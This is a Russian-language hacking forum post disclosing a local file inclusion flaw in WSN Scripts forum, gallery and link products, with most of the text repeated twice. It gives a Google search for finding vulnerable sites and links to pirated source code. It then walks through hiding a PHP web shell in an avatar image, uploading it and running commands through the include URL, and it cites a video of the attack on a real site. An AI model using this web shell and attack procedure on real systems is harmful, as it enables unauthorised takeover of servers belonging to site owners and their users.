otmorozok428
06.08.2008, 11:17
Сегодня я расскажу о найденной мною уязвимости в семействе продуктов WSN Scripts. Данная уязвимость позволяет выполнить произвольный PHP-код на сервере, загруженный через аватару.
Сайт производителя: http://www.webmastersite.net
Уязвимые продукты: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30
Поисковый запрос Google: inurl:memberlist.php?action=profile
Поскольку данный продукт является коммерческим и недоступен для свободного скачивания - исходники льём отсюда:
Wsn Forum 4.1.43 (1,86 MB)
http://depositfiles.com/files/7005973
Wsn Knowledge Base 4.1.36 (1,63 MB)
http://depositfiles.com/files/7006024
Wsn Links 4.1.44 (1,67 MB)
http://depositfiles.com/files/7006073
Wsn Gallery 4.1.30 (1,68 MB)
http://depositfiles.com/files/7006145
Уязвимый код в файле start.php
if ($custom == 'yes') // custom templates
{ // access with index.php?custom=yes&TID=name&ext=ext
if ($ext == '') $ext = 'tpl';
$TID = str_replace('-', '/', $TID);
$thefile = $TID .'.'. $ext;
if (!file_exists($settings->filepathto($templatesdir). $thefile)) $thefile = 'custom/' . $thefile;
инклудится в файл index.php при помощи инструкции
require 'start.php'; // header stuff
Таким образом, имеем локальный инклуд:
index.php?custom=yes&TID=[Filename]&ext=[File Extension]
Теперь, перейдём к практике.
Заливка шелла через аватару
1. Сначала создадим аватару с внедрённым в неё PHP-кодом. Для этой цели подойдёт обычный Far. Открываем файл аватары в режиме редактирования (клавиша F4), в конец файла дописываем строчку
<? system($_GET['cmd']); ?> , сохраняем файл (клавиша F2). Аватарка с шеллом - готова.
2. Регистрируемся на сайте.
3. Идём в редактирование профиля (Options / Edit Profile).
4. Ищем опцию Change Avatar, нажимаем кнопку Обзор, выбираем аватар с внедрённым в него PHP-кодом и жмём кнопку Upload.
5. Узнаём имя загруженной аватары на сайте (для этого нужно навести курсор на картинку, нажать правую клавишу мышки и выбрать пункт "Копировать адрес рисунка". Куда-нибудь вставляем этот адрес и смотрим значение параметра name. Это будет имя аватары на сервере).
6. Подставляем имя аватары на сервере в строку
http://site.com/index.php?custom=yes&TID=[Filename]&ext=jpg&cmd=ls -al Юзаем шелл.
Для наглядности я отснял небольшое ВИДЕО (http://depositfiles.com/files/7006394), где показана заливка шелла на примере одного раскрученного ресурса. Размер файла - 8,57 MB.
Сайт производителя: http://www.webmastersite.net
Уязвимые продукты: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30
Поисковый запрос Google: inurl:memberlist.php?action=profile
Поскольку данный продукт является коммерческим и недоступен для свободного скачивания - исходники льём отсюда:
Wsn Forum 4.1.43 (1,86 MB)
http://depositfiles.com/files/7005973
Wsn Knowledge Base 4.1.36 (1,63 MB)
http://depositfiles.com/files/7006024
Wsn Links 4.1.44 (1,67 MB)
http://depositfiles.com/files/7006073
Wsn Gallery 4.1.30 (1,68 MB)
http://depositfiles.com/files/7006145
Уязвимый код в файле start.php
if ($custom == 'yes') // custom templates
{ // access with index.php?custom=yes&TID=name&ext=ext
if ($ext == '') $ext = 'tpl';
$TID = str_replace('-', '/', $TID);
$thefile = $TID .'.'. $ext;
if (!file_exists($settings->filepathto($templatesdir). $thefile)) $thefile = 'custom/' . $thefile;
инклудится в файл index.php при помощи инструкции
require 'start.php'; // header stuff
Таким образом, имеем локальный инклуд:
index.php?custom=yes&TID=[Filename]&ext=[File Extension]
Теперь, перейдём к практике.
Заливка шелла через аватару
1. Сначала создадим аватару с внедрённым в неё PHP-кодом. Для этой цели подойдёт обычный Far. Открываем файл аватары в режиме редактирования (клавиша F4), в конец файла дописываем строчку
<? system($_GET['cmd']); ?> , сохраняем файл (клавиша F2). Аватарка с шеллом - готова.
2. Регистрируемся на сайте.
3. Идём в редактирование профиля (Options / Edit Profile).
4. Ищем опцию Change Avatar, нажимаем кнопку Обзор, выбираем аватар с внедрённым в него PHP-кодом и жмём кнопку Upload.
5. Узнаём имя загруженной аватары на сайте (для этого нужно навести курсор на картинку, нажать правую клавишу мышки и выбрать пункт "Копировать адрес рисунка". Куда-нибудь вставляем этот адрес и смотрим значение параметра name. Это будет имя аватары на сервере).
6. Подставляем имя аватары на сервере в строку
http://site.com/index.php?custom=yes&TID=[Filename]&ext=jpg&cmd=ls -al Юзаем шелл.
Для наглядности я отснял небольшое ВИДЕО (http://depositfiles.com/files/7006394), где показана заливка шелла на примере одного раскрученного ресурса. Размер файла - 8,57 MB.